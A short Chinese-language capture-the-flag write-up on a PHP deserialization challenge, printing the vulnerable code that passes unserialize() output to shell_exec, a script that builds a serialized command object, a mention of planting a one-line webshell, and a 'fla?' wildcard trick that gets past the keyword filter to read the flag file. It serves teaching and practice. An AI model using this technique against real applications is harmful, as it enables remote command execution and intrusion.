解题思路※

<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>分析代码,这是一个反序列化的题目,我们可以看到这里面的要求是,我们输入的是一个序列化之后的命令,然后命令内容不能包含flag这个关键词,这里面是先定义了一个Webshell的类,类的出事发方法就是执行命令,但是要符合正则表达式,不能有flag值,默认的命令的传参为cmd
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();在这里执行的是 如果cmd有值,进行反序列化,然后执行反序列化出来的对象的初始化方法。
因此我们的目的就是先创建一个cmd是我们需要执行的命令的类,然后实例化,之后序列化就能得到结果
class Webshell {
public $cmd = 'ls';
}
$a = new Webshell();
echo serialize($a);
尝试执行看看

发现成功了,那么题目既然都说了webshell,那我们就注入一个,一句话木马
然后我们执行
cat fla?.php > 1.txt